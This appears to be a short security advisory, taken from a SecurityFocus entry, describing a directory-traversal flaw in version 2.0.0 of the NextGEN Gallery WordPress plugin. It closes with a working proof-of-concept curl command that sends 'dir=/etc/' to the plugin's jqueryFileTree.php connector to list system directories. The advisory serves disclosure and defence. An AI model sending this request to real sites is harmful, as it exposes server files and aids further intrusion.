source: https://www.securityfocus.com/bid/65637/info

The NextGEN Gallery plugin for WordPress is prone to a directory-traversal vulnerability because it fails to sufficiently sanitize user-supplied input.

Exploiting this issue can allow an attacker to obtain sensitive information that could aid in further attacks.

NextGEN Gallery 2.0.0 is vulnerable; other versions may also be affected. 

curl -i -d 'dir=/etc/' http://www.example.com/wp-content/plugins/nextgen-gallery/products/photocrati_nextgen/modules/nextgen_addgallery_page/static/jquery.filetree/connectors/jqueryFileTree.php